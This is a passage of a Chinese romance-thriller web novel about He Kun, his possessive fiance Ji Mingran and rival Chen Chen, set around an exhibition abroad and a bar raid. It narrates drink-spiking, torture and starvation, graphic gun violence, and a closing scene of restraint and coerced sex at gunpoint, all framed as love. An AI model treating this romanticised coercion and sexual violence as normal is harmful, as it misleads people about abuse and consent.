“快点,老实交代,马上就是订婚的日子了,怎么中途变卦要和我去R国参展?” 贺琨也不知道为什么,就是突然看见学院老师的通知,在截至报名前匆忙地提交了申请。 “纪明冉欺骗我,”说出来感觉有些矫情,他看着阳光洒满的停机坪,眼睛有些刺痛,于是补充道,“不过,订婚需要亲自决定的都安排好了,剩下的助理会办好。” 贺琨只是想借外出学习的理由离开几天,整理情绪。 他应该开心的,能和纪明冉如期结婚。 蒋斌一下抓住了重点,师弟的性格向来直话直说,用了欺骗这个词,那就不会是小打小闹的情趣。 “他出轨啊?” 蒋斌最知道那些年贺琨有多喜欢这个姓纪的,听说两人在一起了,他还开心来着,结果才一年不到,现在坏消息就来了,做生意的就是心眼多。 贺琨摇摇头,不愿多说的模样,蒋斌也不好再过问,他挠了挠头: “就算是纪明冉,那不行也得分,R国的混血帅哥一抓一把,早分早快活。” —— R国,首都城市。 为契合半个世纪前,经济上行的时期奢颓狂欢的风格,这次的展览定在了一个华丽复古的庄园里。 出席人员按照承办方的邀请函中的要求,换上了那个年代风格的服饰。 美丽时尚的女郎们穿着腰线拉低至臀部的裙子,低腰直筒,搭配着华丽发带,带着独有的松弛自由,又不失奢华。 羽毛、珠串、亮片、流苏……以及不断碰撞的酒杯。 这场原本是展示物的展览,在人群的欢笑与热切中,物也变得流动起来,像是被重新赋予了生命,而人也成了展览的一部分。 贺琨也不例外,但是男士的服装还是以西装为主。 他身着西装,只是外套的开领更低,将内里的马甲露出,条纹的设计增加些许灵动,漫不经心地站在人群中,看着这场盛大,成为一道冷冽的弧。 这次展览的方式确实亮眼,浮躁却变得格外多,夺去了物的主体性,纸醉金迷的氛围几乎让人无法喘息。 尽管订婚的戒指已经很明显的刻意露出,但贺琨还是拒绝了今晚第四位上前搭讪的年轻男士。 他走到安静的阳台上想透透气,打开手机却看见来自纪明冉的未接电话,已经有了十几通。 他第一反应就是赶紧回拨,但在电话接通时,不知如何开口。 听筒对面先传来纪明冉的问候:“现在是晚上吗?” 贺琨看了眼天际线处的落日黄昏:“傍晚。” 两人皆是沉默,只余下呼吸声。 纪明冉自顾自地说起来:“昨天下班回公寓,遇见位遛狗的人,他打着电话问‘回不回家啊,小七都想你了’,小狗听见自己的名字,也叫了两声。” “嗯嗯,怎么了吗?” 听筒那边的声音不徐不急,贺琨听得慢慢变得平静下来。 “我本来想让肃山也买一只好了,可是它没见过你,就不能说想你。” “所以,我想你了,阿琨,什么时候回家呢?” 平原上的风夹杂着草木的香气吹过阳台,贺琨的心也跟随着飘盈起来,柔和而轻软,他低沉地笑起来:“喂,纪明冉,谁教你说的土味情话。” 纪明冉坐在办公室里,看着邮箱中刚发送至的照片。 华丽的庄园里,一个黑发黑眸的青年孤独地站在开满月季的阳台上看着远方,神情淡漠而抽离。 他没有回答贺琨问题,反而问道:“我猜你是不是一座庄园里,装饰得复古又漂亮?” 贺琨有些讶异,连忙环顾四周,什么都没有,质疑再次不受控制地冒出,于是他迟疑地开口:“你怎么知道?” 纪明冉拇指碾了碾屏幕中的照片,张口就来地解释道:“因为你说过展览名字,我刚才查到了地址。” 贺琨有些内疚自己刚才的胡乱猜测,揉了揉眉心:“看我,都忘记了。” “我以前也住在一座庄园里。” “我知道,罗德庄园是不是?那里漂亮吗?” 贺琨就这样隔着大洋,莫名其妙地和纪明冉闲聊起来,相比面对面的交流,似乎这样的交流方式更贴近彼此的心。 很多庄园到了这个时代,都会对外开放游览,但是罗德庄园除外,消息也基本都被封锁起来,所以它显得更加高不可攀。 “嗯,还可以吧。我的外婆是位女侍,服务于老伯爵,她并非自愿留在庄园里,所以每天郁郁寡欢。” “我的母亲很叛逆,她听着外婆口中的故乡长大,便身无分文地离家出走了,然后遇见了纪正源。” 冉冉开始讲述起了自己故事,贺琨没有打断,而是认真地听着。 “纪正源并非良人,母亲怀着我回到了庄园,我明明活着,却是所有人都看不见的空气。” 年幼的纪明冉学会了走路,却迟迟不会说话,因为没有人会和他说话。 哪怕是那位整日喋喋不休的修炉子大叔,还是闲得将茶具擦拭了一遍又一遍的女侍,都不会和他说话,像是看不见他。 所以小纪明冉最开始时,有个错误的认知,就是他以为没有人能看见自己,除了一只会朝他汪汪叫小黄狗。 食物会准时送到房间,一个小铁盘子,装着看不出原材料的汤汤水水,可惜再长大些后,肚子就开始饿得咕咕叫。 纪明冉没有继续提到更多,转而说道:“恐吓、示威、掠夺都是活着长大的方式。” “可是,现在我想正确地去爱一个人,请你做我唯一的老师,可以吗?” “下雨了,纪明冉。” 雨丝斜斜掠过屋檐,带着诗意落下,给庄园蒙上层清透的薄纱。 透明的水珠结在贺琨鸦黑的睫毛上,室内的嘈杂的声音变得远去,世界再次只余下听筒对面的呼吸声。 纪明冉回应:“嗯。” “我也爱你,纪明冉。” 第45章 第四十五章再遇陈琛“观展愉快,阿…… “观展愉快,阿琨,后天见。” 这通跨洋的电话已经接近尾声,纪明冉温柔地告别,只是最后那句坏心地夹带私货,试探着约定了贺琨回国的日期。 两人心照不宣,纪明冉可怜的试探让贺琨的冷峻融化:“嗯嗯,好吧,那就后天见。” 电话挂断后,纷繁杂乱的心也变得宁和起来,他抬眸远眺,瑰丽的黄紫霞云散去,成了深蓝色的绸缎,星光点点,如钻石镶嵌。 等展览结束贺琨就回去,只要还活着,没有什么不可跨越的矛盾,他当时是这么想的。 “贺琨,我等你很久了。” 身后传来极具男性魅力的声音,低沉悦耳到了极致,贺琨从记忆中搜寻,很快找到了对应的面庞,应该是陈深。 他转过身,便看见一位穿着黑色西装的男人,倚在质感做旧的半拱形门框上,身形似乎比之前消瘦了些许。 月季的藤蔓缠绕、绿叶伸展掩映着斑驳的白墙,红色的花瓣层叠盛放,枝头三朵并蒂而开,垂在陈深的肩头。 贺琨佩服就佩服在这里,陈深总是像书里走出来的霸道总裁,剧组百万的特效加镜头,比不过他随意而为的一个站位。 非常完美的出场,但是可惜这里没有受众。 “等?什么意思?”贺琨开口寻问,看着陈深慢悠悠地走上前,从西装外套的口袋中变出个烟盒,抽出了两支香烟,这是前段时间自己喜欢的品牌。 他探究地看上陈深的面色,却什么也没发现,于是收回视线,抬起手摆了摆,这段时间贺琨已经不大抽烟了:“不用,谢谢。” 陈深的眼神先是扫过贺琨指间的订婚戒指,然后收回动作,放回一支香烟,将剩下的那支烟送入唇件,伴随着轻拨金属火机的声响,陈深问:“订婚了?” 一般人都会在后面加句祝福,但是陈深并没有,就像是中途戛然而止的句子。 “是的。”贺琨无所谓这些,他不徐不疾地回答陈深的问题。 “没事,反正结了婚也还能离,”陈深笑了笑,似乎对此事已经有了笃定的论断,在贺琨生气之前,他又一把抓起贺琨的手腕,“和我去一个地方吧,这里不方便说话。” 陈深转身,拉着贺琨就要离开,可惜身后的人没有半分移动,始终站在原地,下一秒贺琨抽回手腕,挣扎的力道将陈深的手臂带起,手心落空后,尴尬地悬在半空。 “陈先生似乎每次都喜欢将话说一半、藏一半,今天我还有事,就不奉陪了。” 贺琨记得上次见面,陈深便说自己曾经夸过他的名字好听,陈琛。 可是后来任凭他翻遍记忆,也没有找到与这样一位人相识的回忆。 陈琛还说什么要找到证明纪明冉阴谋的证据,但如果是这件事的话,那么现在也不用了。 达莉娅比陈深更早一步地为贺琨揭开了真相,而他刚刚在上一秒下定决心,不再为这件事纠结。 “陈琛,谢谢你的好意,但是我已经知道了,关于纪明冉提出订婚的目的。”贺琨已经能够平稳地叙述出来,不带上任何情绪。 陈琛听见贺琨叫出了他的真名,还有些微微发愣,喜悦刚划过眉梢,就在听到贺琨的下半句话语时,又皱起了眉头。 “目的?不可能。” 按照他对贺琨的了解,如果贺琨真的知道了事情的原委,怎么可能还会将那枚可笑的戒指戴在手上。 “是我哥的项目,是不是?” 陈琛不可置信,显然贺琨说得八九不离十,但是他还是想不通,于是迟疑道:“那贺青峰的事你也知道了?” 贺琨听见这个名字,突然警觉起来,忽地上前半步,拽住陈琛的手臂,认真地问道:“你说谁?” 陈琛看见贺琨严肃的表情才松了一口气,看来纪明冉只暴露了一半,而不是全部都让贺琨知道了,他弯起眉眼,自信起来:“想知道,就跟我走。” 话音刚落,一阵急促的手机铃声响起,站在阳台上的两人*对视,缄默不语。 贺琨视线从陈琛拧起来的眉头下移,是陈琛的手机在响个不停,像是催命的符咒,响了又歇,歇了又响,片刻未歇。 陈琛的心绪也不平静,他苦笑着看了看手腕上显示屏,对贺琨微不可察地摇头。 虽然两人都没有说话,但是皆已心知肚明,此时来电的人会是谁。 贺琨没有半分犹豫,直接将人拽进复古华丽的大厅,混在人群中,决绝地说:“走。” 展会已经接近结束,有微醺的男男女女兴奋地簇拥着进入停车区,也有人保持着体面优雅告别,自矜地站在门口等待司机接送。 贺琨和陈琛混在其中,藏匿于最热闹密集的那波人群走出华丽的大厅,却因为气质不俗,始终在被邀请同游。 一位金发碧眼的少年,似乎刚成年,与贺琨他们穿着西装的风格截然不同,他的服饰中性而艳丽,缀满流苏珠宝,可爱中带着魅惑。 软白的手指勾上贺琨的婚戒,媚眼如丝,带着酒意的气息轻呵:“先生,人生苦短,良宵千金。” 贺琨拉开距离,本是打算拒绝,可当看到少年走到了停车场内配置最好的跑车旁,他有了新的主意。 少年看见面前的这个英俊异国男人,高挺的鼻梁在眼下投出淡淡阴影,锋利被包裹在沉默淡漠的外表下,薄唇轻启,别有滋味。 见贺琨眼神落在了自己的新提的跑车上,他十分上道地说:“可以叫上你的朋友一起,想去哪里都可以,亲爱的。” 陈琛不太喜欢少年自来熟的做派,可自己又没有什么立场阻拦,贺琨的默许更是增加了他的危机感,于是陈琛抢先开口说道:“我有车,不必。” 贺琨闻言,先是对少年歉意地笑笑,随后回头看向陈琛,别有深意道:“你的车能用吗?陈琛。” 陈琛沉默了片刻,很快理解了贺琨的意思,恐怕他的车辆只要开出去,很快就会被锁定位置。 纪明冉是从R国发家的,虽然已经离开多年,但是那些留下的势力和眼线依旧不容小觑。 就像刚才的情况,他不过才和贺琨说了几句话,就被纪明冉以别样的方式警告了。 陈琛权衡利弊的速度很快,他迅速地向少年报了一家酒吧的名字,道谢后便直接上了少年的车。 贺琨的动作也很快,毕竟现在多一秒的抛头露面就多一分风险。 原本三个人,现在只独留少年还站在车外,他迷惑地看着动作极快的两人,是不是有些急不可耐了?少年挠了挠脑袋,他有原则的,可不接受1V2。 少年怀着担忧上了车,不过很快就将烦忧抛之脑后,银灰色的跑车以极为惊险的角度别过辆白色轿车,先行开上了跨江大桥,江面倒影着两岸辉煌的灯火,车窗外的景色变成流动的画。 极致速度带来久违的刺激感,雨点从窗外飞进,贺琨半眯起眼,嘴角弯起微不可查的弧度。 可惜,车辆最终还是停在公路旁的酒吧门口,贺琨也再次回到现实。 这片并不是住宅区,也不是热闹的市区,但是酒吧门前的车辆意外的多。 陈琛先拉开车门下车,门口的保镖看见来人是自家老板后,恭敬地上前问候。 陈琛点头回应,随后朝着银灰色跑车微扬下颌,身高体壮的保镖立刻意会,上前拦住少年。 这时少年才发现自己完全是白担心了,两人好像压根不打算带自己玩,他立马走到贺琨身边,雀斑点点的白软脸颊都气鼓了:“喂,你们什么意思,把我当免费司机吗?” 陈琛稳如老狗,没有开口解释的意思,但却大有火拼一场的霸道:“免费司机?我可没见过免费的司机还索要报酬。” 眼看两人都不是能忍的主,为了避免更多的麻烦,贺琨出来打了个圆场。 “非常感谢您的热心帮助,实在不知该如何开口,”他似乎很烦恼地压眉,看了眼路边热闹的酒吧,“其实,我的未婚夫最近似乎欺骗了我,我朋友是来帮我的,以免到时侯我太难堪。” 少年瞪圆了眼睛,不过这会不是生气了,而是好奇和兴奋,还有一丝丝同情,“欺骗”这一词语在R国的语境中还有着出轨的意思:“那你快进去啊,抓住这个混蛋,待会他就跑了。” 他似乎已经忘记了自己刚才的行为也是在勾引有夫之夫。 贺琨颔首,托起少年的手,一对作为补偿费用的昂贵袖扣安静地躺进少年的手心。 诚挚的歉意彻底击中了他的心扉,少年反而内疚起来,觉得自己有些不道德了,于是只好作罢,依依不舍地目送贺琨离开。 陈琛站在一旁将所有纳入眼底,自然垂落的指尖还是微微动了动,终究没有开口,只是默默地将视线移开。 踏进酒吧后,贺琨收起温和,冷峻地环顾四周:“这个地方纪明冉的人能找到吗?” “暂时进不来。”陈琛带路,两人乘坐着电梯下至地下室,这是个安静私密的空间,大批量的武器囤积在这里,应该是个谈买卖的地方。 贺琨目视前方,将周围的一切视为无物,能当闲散少爷的窍门之一就是不该管的事情,看都不要看。 陈琛带路,走至尽头推开了一扇门,应该就是他平时用的办公室。 贺琨看着门严丝合缝地关闭后,方才开口:“陈琛,你到底发现了什么,可以告诉我吗?” 话音刚落,只见对方走到办公桌前拿出一叠资料,似乎陷入了回忆。 时间线拉回兰临市,小山口古建项目的会议,陈琛时隔多年再次见到贺琨的那天。 第46章 第四十六章抢占主权“那时我刚回国…… “那时我刚回国,得知你的消息后,便找纪明冉商议合资投建,因为背后有罗德庄园的手笔,他很快便同意我入场。” 陈琛见贺琨平静地倾听,从身后的酒柜中取出一瓶藏酒,往冰桶内放入冰块和少量水,将酒瓶插入后,又拿出了两个玻璃杯。 “那时,我试探着询问了他对你的想法,纪明冉否认得很快。” 陈琛知道这对于痴情的贺琨来说非常打击,但是他依旧选择直白地告知坐在沙发上的青年。 贺琨记得那天,他站在露台上抽烟,听见身后的脚步声,还以为是纪明冉,转身却见到了陈琛。 后来,他又看见陈琛和纪明冉两人站在走廊间议事,当时他误会陈琛喜欢纪明冉,于是刻意上前加入,不过很快就被迫离开了,想来便是那个时候发生的事。 想到数个小时前纪明冉的那通电话,贺琨原本已经振作的心情再次变得杂乱,他烦躁地将额前的碎发捋起,胳膊肘搭在腿上,单手支撑着脑袋。 眉眼隐入阴影中,他不再关注那些无关紧要的细节,而是直接问道:“那我哥到底是怎么回事?是宋榄做的吗?” 陈琛听闻此话,以为贺琨还在对纪明冉有所期待,心里郁郁不平,百般纠结下,终于还是在贺琨没有注意的角度取出一片药物,投入酒杯中,异物很快消失得无影无踪,这只是使人昏迷的药物,对于身体没有任何副作用或者伤害。 他真的等了贺琨很久,在展会见面时说出的话,没有半分虚假。 还记得,同贺琨在首都的小酒馆见面后,虽然已有心理准备,但被纪明冉觉察并带走的那段时间,他过得并不轻松。 陈琛重回R国并不是因为有必要的事情需要处理,而是被纪明冉的势力逼迫得无路可走,他根本无法再次进入国内。 而最后能够被放过一马,完全是依仗着罗德庄园的势力,他为女爵办事,纪明冉如果将他这枚“棋子”废了,那就意味着与罗德庄园割席。 他只能重新回到R国整合自己的势力,可在纪明冉的严防死守下,始终未能将任何消息传递到贺琨身边。 陈琛借用朋友的名号暗中操控着,在今晚的展览会前,他已经承办了数次展览会,不同主题、不同场地、不同城市,无一例外都给国内的美院、设计院等发出邀请。 他的目的只有一个,就是等到贺琨。 陈琛听闻纪明冉很快就要和贺琨订婚,原以为自己已经再也没有机会。 他可以不站在贺琨身边,但是纪明冉一定不能是那个最终与贺琨厮守的人。 也许是上帝终于听见陈琛的心意,兴起时也垂怜了他唯一一次。 陈琛不着痕迹地端起酒杯转身,送到贺琨身前的矮几上:“单凭宋榄想悄无声息把活的贺氏掌权者带走,那恐怕是还有点难度。” “要知道,纪明冉上次自从知道你我见面,可是发了好大一通脾气。” 陈琛刻意露出腿弯的肌肤,一道子弹痕迹永远的留在了小腿上,要是再往上偏移半寸,那恐怕今晚就没有办法走着来见贺琨了。 贺琨看着那道疤痕内心翻涌,他不知道提出的见面为陈琛带来了那么多麻烦,有些内疚地移开了视线,“抱歉,我不知道纪明冉为了掩盖事实,行事如此偏激。” 贺琨显然误会了纪明冉,陈琛并没有为之解释,如果说他以前只是讨厌纪明冉,那么现在就是痛恨纪明冉。 纪明冉在意的,根本不是泄露宋榄行踪,而是他接近贺琨这件事。 那是个伸手不见五指的房间,陈琛努力地睁大双眼,却依旧什么都看不见,除了黑暗,剩下的还是无尽的黑暗。 有时他甚至会有一种错乱的感觉,就是自己到底有没有睁开双眼,直到断水断食后的第三天,陈琛感受着器官在衰竭前最后的抗争,他也在赌,他笃定纪明冉不会让他死。 就在那天晚上,终于传来了身体以外的声响,一扇门被打开,随后是刺眼的光。 陈琛闭上双眼,光线带来的刺痛使得眼睛泛出泪水,很快打湿了睫毛,可是他连回头避光的力气也没有了。 纪明冉的人带来了含有糖分的水给他灌下,陈琛才觉得自己活过来了些许,他索取着水杯里最后一滴液体,不甘心地舔了舔,又瘫软在地上。 “陈先生,我有没有告诉过你,贺琨不是供你取乐的对象。”纪明冉坐在下属搬来的椅子上,好以整暇地睥睨着地面上的陈琛。 陈琛强撑着骂道:“呸,难道看他就这样被你利用?” 纪明冉插兜站起,踩上陈琛的指尖,黑色皮鞋由手工鞣制,散着凌冽的光泽,碾压在五指上痛彻心扉,让陈琛心悸得直冒冷汗。 他艰难地昂头看向纪明冉,勾出讽刺的笑容:“怎么,难道你敢说你没有半分欺骗吗?” “呵,陈先生可是还没搞懂现在的情况,”纪明冉看着匍匐在地面上的狼狈男人冷笑,显然并不在意陈琛的话语,“你那点可笑的心思尽早收回吧。” “贺琨,不是你的所有物。”陈琛的声音似乎是从胸腔的最底部发出,带着最原始的愤怒。 “陈琛,你这些年的手段真是越来越下作了,永远那么见不得光。”纪明冉拿出一袋东西,砸在陈琛脸上。 陈琛看清后,如梦初醒般往后蜷缩,似乎底气不足,高大的身影在此刻显得有点可笑,可那人毫不留情拆穿他:“致瘾性,想给谁用?” 陈琛面色苍白,干裂的嘴唇颤抖,他知道自己做的事是错的,上一秒还站在道德的至高点,现在却僵直着身体说不出半句话。 “处理了,肃江。” 纪明冉根本不打算听陈琛解释,事情已经很明了,他的所作所为只是为了让陈琛恐惧,最好怕到不敢再犯。 陈琛看着纪明冉留下最后一句话便离开了,门口进来了个黑衣覆面的男人,应该就是纪明冉口中的肃江,那人缓缓蹲下看着自己,将药物丢进刚才那个装着糖水的杯子里,兑了水。 “喝。” 当被迫害的人变成了自己,陈琛挣扎着扭动起来,但大部分还是进入了口中,少量在挣扎中洒落。 在那之后,他又被关了足月,用水和少量的食物吊着半条命,肃江每审问一个人,就会将陈琛放出来看着。 这些人无一不是他这段时间费尽心力在各个点位安排好的人手,就这样全部被纪明冉清理,一个不留。 这些点位是他私自背着罗德庄园,用来做些药品买卖的,单凭这些,陈琛足够赚得盆满钵满,顺理成章地脱离罗德庄园的控制。 能变得自由,也离贺琨更近,就这样被纪明冉毁了。 陈琛恨纪明冉,恨到将自己行为都合理化,而把一切过错都推到了纪明冉的头上。 如果不是纪明冉,他就不会走上这条极端的路。 无论是他和纪明冉同在罗德庄园效力的时期,还是面对贺琨的时候,对方似乎总是毫不费力地就可以轻松抹去他努力的痕迹。 陈琛表面笑得温和,内里却面目全非,他朝贺琨隔空举杯:“没事,都过去了,现在只剩下我和你。” “是的,”贺琨并没有心情饮酒,他再次追问道,声音有些轻,轻到颤抖:“那么你的意思是,纪明冉他,他伙同宋榄将我哥贺青峰挟走了?” “没错,而且我已经找到贺青峰的位置了。” 陈琛将资料中的某张翻出,递给贺琨,是半月之前,宋榄带着贺青峰出现在集市的一张照片。 而几天前,他顺着线索调查出两人暂居在一座私人岛屿之上,现在他已经通过送入的芯片,精准地掌握了贺青峰的实时位置。 但是陈琛不想完全将实情告诉贺琨,而是想借此机会,将贺琨留下来。 贺琨接过那张照片,可能是街头摄像头模糊的一闪,亦或是路人碰巧无意地将人框入镜头。 总之十分模糊,但是贺琨还是一眼将人认出,失而复得的喜悦纵上心头,压过了对所有未知的恐惧。 他强压心中的激切,看向陈琛道:“那现在有新的消息吗?” 陈琛的目光追随着贺琨,喜爱之人眼中的喜悦不言而喻,他差点违背了心中的计划,欲将知道的所有消息毫不保留地告诉贺琨。 还好在关键时刻理智回归,陈琛收回视线,再次将酒杯送入贺琨手中:“没有,但是有了线索应该调查的很快,所以我想请你留在R国几日,你应该更熟悉贺青峰的生活痕迹。” 贺琨接过酒杯,刚要开口应下,楼上却传来嘈杂的声音。 桌面上的通讯仪器响起,陈琛的表情变得凝重,似乎是什么很严重的问题,他在手腕上的显示屏幕上快速操作,很快楼上的画面就投影到空中。 一批覆面的雇佣小队着装整齐,黑色作战服身影鱼贯而入,战靴碾过地面的碎玻璃发出了脆响,紧接着就是一道锐利的枪鸣。 吧台上,凝结细密的水珠玻璃酒桶忽地炸开,盛满的金黄色酒浆如喷泉般四处飞溅,玻璃碎片也哗啦啦地砸落到地面上。 人群很快骚动起来,争先恐后地往外跑,原本热闹动感的酒吧很快只剩下了两波人——刚闯入的不速之客,以及陈琛的人手。 陈琛快步走到办公桌前,拿出手枪,转身对贺琨叮嘱道:“一定是纪明冉的人,我上去看看情况,你在这里待着,外面不安全。” 贺琨放下酒杯,眉头紧锁,他本想点头答应,但没几秒便果决地站起来,对着陈琛说道:“不,我和你上去,纪明冉的目的是我。” 如果陈琛有什么意外,那就意味着他哥的线索再次断了,如果纪明冉能顾念一丝旧情,他就能保下陈琛。 两人交换视线,陈琛在贺琨的坚定的眼神中先服了软,他再次打开保险柜,拿出一把手枪塞进贺琨手里:“会用吧?随意。” 主舞厅的激光灯柱还在跟随着音乐疯狂跃动,xd枪射出的轰鸣与低音产生共振,子弹快速掠过贺琨眼前,穿透真皮卡座,羽绒靠垫爆出漫天飞羽。 他站在角落里提起了呼吸,太阳穴紧绷到随着节奏感极强的音乐跳动。 陈琛的人在快速穿梭的子弹中接连倒地,血雾飞溅,在彩色的镭射灯下已经看不出原本的颜色,怪诞得像梦中的场景。 “清场完毕。”耳麦里短促的电流声落下,为首的雇佣军继续带队,动作极为利落的队员们按照口令呈扇形继续推进。 陈琛见势不对,打算先暂时放弃据点从秘密通道先行离开。 他一把拽住贺琨,叫上最后的人手往酒吧的冷库撤退。 第47章 第四十七章扣压扳机冷库铁门被液压…… 冷库铁门被液压钳破开的响动震得天花板上方的管道微颤,贺琨的左眼皮不住地跳了跳,心中升腾起不好的预感。 果然,殿后的那个男人不知怎的脚下一滑,直往身后堆叠的货箱倒去,掀翻了堆叠摆放的存货。 巨大的声响将身后紧追不舍的雇佣小队吸引而来,子弹飞速擦过金属储物架发出脆响,曲折狭小的活动空间再次焦灼地缠斗起来。 就在众人都没有注意到的时候,一支突击小队已然顺着通风管道而下,精准地落到了贺琨他们后方。 在极短时间内,领头的队员轻跃而下,防滑军靴的鞋跟猛踹到第一个察觉不对劲的人的脸颊上,下颌骨碎裂的声音混着崩飞的牙齿嵌进一旁冻硬的肉类中。 贺琨最先反应过来,立马转身叫上陈琛后撤,却在手掌刚摸到后门的开关时,便被一个面色慌张的瘦子推开,此人拿枪指着他的脑袋,小腿始终颤抖着,显然已经不想继续为陈琛卖命。 “让开!让我先出去!我要回家,我要回家”昔日的同伴接连倒下的场景让他变得神志不清。 贺琨还没来得及反应,就被一个身着黑色作战服的魁梧雇佣军快速扑倒在地,整扇后门随之被外部的负责爆破的小队连框轰飞。 而刚在站在门前的瘦子,此刻已经被倒下的门板压住腰身,胫骨断裂的脆响淹没在笨重铁门倒地的轰然中,很快嘴角溢出大量鲜血,失去气息。 陈琛背腹受敌,很快落败。 雇佣军的领队者拿起枪托砸向他的脊柱,陈琛顿时因为剧痛而倒地,中途却不慎撞翻液氮罐,寒雾瞬间散出。 男人混不吝地啧了一声,似乎是嫌麻烦,但还是快速将冻僵的人拖出。 —— 贺琨在茫然中醒来,嗓子有些干涩,双眼被黑色的布料覆盖住,以至于根本无从判断目前的情况。 他咽喉滚动着吞咽口水,却发现脖颈也被戴上了冰冷的镣铐,贺琨赶紧尝试着动了动手脚,毫无意外地发现,自己已经完全被固定在一个冰凉的躺椅之上。 他挣扎起来,金属链条的碰撞声在空荡的房间里格外突兀,无论如何发力都没有获得半分可挪动的空间。 贺琨缓缓呼吸,试图使自己冷静下来,他记得在昏迷前还看见陈琛被捆了起来,应该没有死亡。 在酒吧的那天晚上,他原本紧跟着陈琛从昏暗的楼梯间往上走,行至中途心中突然忐忑不安。 “等等,陈琛。” 走在前面的男人听见贺琨的声音停下脚步,微微侧头询问:“怎么了?” “如果纪明冉把我强行带回国内,你就去找达莉娅,只要说出我的名字,她一定会帮住我们的,到时候我会安排人手在国内接应,麻烦你请务必将我哥哥带回。” 贺琨眉宇间满是坚毅,眼中却有说不清的悲伤,陈琛没有看懂,但很快贺琨便再次补充道:“谢谢你,陈琛,还有……对不起。” 陈琛隐约感知到贺琨道歉的原因,心底猛然一沉,多年的执着似乎都消融在这轻飘飘的三个字里,随着话语结束而消散在空气中。 在贺琨的世界里,原来他从开始就没有存在过。 那位逆光而来,将他从殴打踢踹的霸凌中拉出的少年贺琨,已经消失在了岁月里,陈琛只得苦笑着将其埋起来,放进了更深更深的心底。 “没关系,很多事太久远,我也忘记了。” 贺琨松了一口气,想到今晚始终没能喝下的那杯酒,他扬起眉眼,如释重负地朝陈琛笑笑:“好,那就拜托你了,到时候请你喝酒。” 贺琨从回忆中收起思绪,只要能确认陈琛活着,贺青峰的线索不断,那就没有什么可担忧的事情了。 “在想什么。”一只温凉的手从贺琨的耳廓滑到唇珠,带着狎昵地揉捻。 这是纪明冉的声音,答案如同刻在心里,贺琨不用思考,只需听到就能分辨出。 酥麻的感觉顺着纪明冉指尖移动的轨迹,一阵一阵地窜进心里,恐惧与刺激交错连带着头皮也开始发麻。 哪怕知道不可能,他也本能地害怕刚才脑海中的回忆会突然具象化,然后全部被纪明冉发现。 贺琨想都不敢再想,生怕露出端倪。 他完全不知道纪明冉是什么时候出现在身后的。 可能是最开始的时候,就在房间的角落里默不作声地看着自己挣扎,在他气力耗尽时才慢悠悠的现身。 也可能是听见贺琨发出的响动才进入房间,悄无声息地来到自己的身后。 但无论是哪一种情况,现在的形势对于贺琨来说都是极为不利的,毕竟他已经完全失去行动力,如砧板上的鱼肉任由处置。 “在想你什么时候开始骗我的。”贺琨倔强地偏过头,躲开纪明冉的触碰,冷不防地怼了一句回去,满是讥讽。 “这才出门两天,都被恶人带坏了,该罚。” 呢喃湿滑的气息像毒蛇信子舔过皮肤,冰冷的枪口掀开衣摆,暧昧地游走,最后抵上胸口。 贺琨意识到那是把枪械后急促地呼吸起来,仿佛看见浮动在纪明冉眸中的偏执,袭上心间的惧意使他再次挣扎起来。 固定住双手的是缠绕的很多圈的绷带,贺琨不停地扭动手腕,试图通过蛮力将其绷断,直到腕关节都略微错位,磨破的皮肤渗出点点血斑,染红了白色的绷带。 “不,放开我,纪明冉,我以后不会再纠缠你,啊——” 贺琨还在快速地说服,却被纪明冉的动作打断了,耳垂突然被含入湿热的口腔,尖锐的犬齿带着狠意咬磨上去,整个耳朵滚烫到似乎要将头发都燎着。 他艰难地呼吸着,胸口上的硬物已经被体温捂热,但是耳垂肯定破了,因为纪明冉在吮吸,贺琨真的不知道哪句话又得罪了这位。 不知过了多久,纪明冉终于松开那已经红得透血的可怜耳垂,他拿出枪支丢在一旁,声音闷沉,像是落在了什么软处。 贺琨以为结束了,结果一把冷锐金属突然敲击在自己腰带的卡扣上,如果没猜错的话应该是把刀。 “纪明冉!” 他本来还觉得自己应该能活着,但是现在也不确定了,每分每秒都变得格外漫长。 纪明冉听见贺琨的喝止,不怒反笑,修长的五指操纵着冰凉的军刀转出利落的圆弧。 “原来你还知道老公的名字呢,刚才昏迷的时候一直喊着陈琛,真是让人好生气,你说你用什么来补偿罪过?” 男人说完后,将冰凉的刀峰抵上贺琨身上那件已经皱皱巴巴的衬衫,随手划出漂亮的刀花。 贺琨最后一层薄衬衫不堪重负,最终变得稀碎破烂,布料四处散落,最后留下的几片也聊胜于无。 “和陈琛待了那么久,他有没有忍住不碰你,嗯?像你这么不听话的老婆,天天往外跑,要是遇见坏人怎么办,是红着眼眶脱掉衣服求饶,还是直接” 贺琨不知道此时自己落入纪明冉眼中是什么模样,劲瘦的腰身泛白,腹肌薄韧分明,背部紧贴在黑色皮革材质的束缚椅上,胸口因为剧烈的情绪而不停起伏,偏偏还带着股不服输的韧劲,将自己弄得可怜巴巴的。 浸着扭曲阴暗的爱语顺着耳廓往骨头缝里钻,贺琨只能听见纪明冉越来越沉重的呼吸,皮肤暴露在冰冷的空气中,连汗毛都根根竖起。 他本来不打算再轻易招惹纪明冉,以免对方再拿出什么可怕的凶器,可是纪明冉的言辞却越说越刺耳下流,有句话贺琨憋在心里很久了。 “纪明冉,你是有什么绿帽癖吗?啊?!每次都一副巴不得我去外面找十个八个的模样!” 空气突然沉寂下来,贺琨有些后悔了,说出的话重复在脑海中播放,他在想是不是自己太过分,于是清了清嗓子,软下声音苦笑: “你放了我吧,真的,冉冉,凡你所要的,我什么都已经给过你了。” 纪明冉愣住了,他没听见贺琨的第二句话,只是在想:是啊,为什么?为什么自己会变成这般模样,难道害怕的只有贺琨吗? 他内心的深处也写满不安,如果对贺琨放松警惕,爱人是不是又会像上一世那般流连于各处的风月。 这种强烈的不安在极致的外化后,便成就了纪明冉如今的模样,但他不后悔。 “阿琨本来就不省心,不是吗?这是你的错,”纪明冉玩弄着,心满意足地听着贺琨痛苦压抑的喘息,“你却什么都不懂。” 贺琨连推开纪明冉的手腕,获得休息的机会都没有,过度的刺激让他的脑子搅成一团浆糊,他却只能被死死的固定住,承受着快要满到溢出的感觉。 直到最后一刻即将降临,贺琨以为自己终于可以解脱,却又听见了恐怖的声音。 可能是食指勾住保险杆后,指腹与磨砂金属摩擦的滞涩感,再次恢复冰冷的枪口怼上了他的心脏,最终落定在“咔嗒!”的瞬间,扳机触发—— 贺琨提起呼吸,一道白光划过,脑子瞬间空白,四肢彻底瘫软,黑色的眼罩被热泪打湿。 唯有这次是他是真的哭了,生理性的泪水掺杂其中,同时也有对死亡的恐惧。 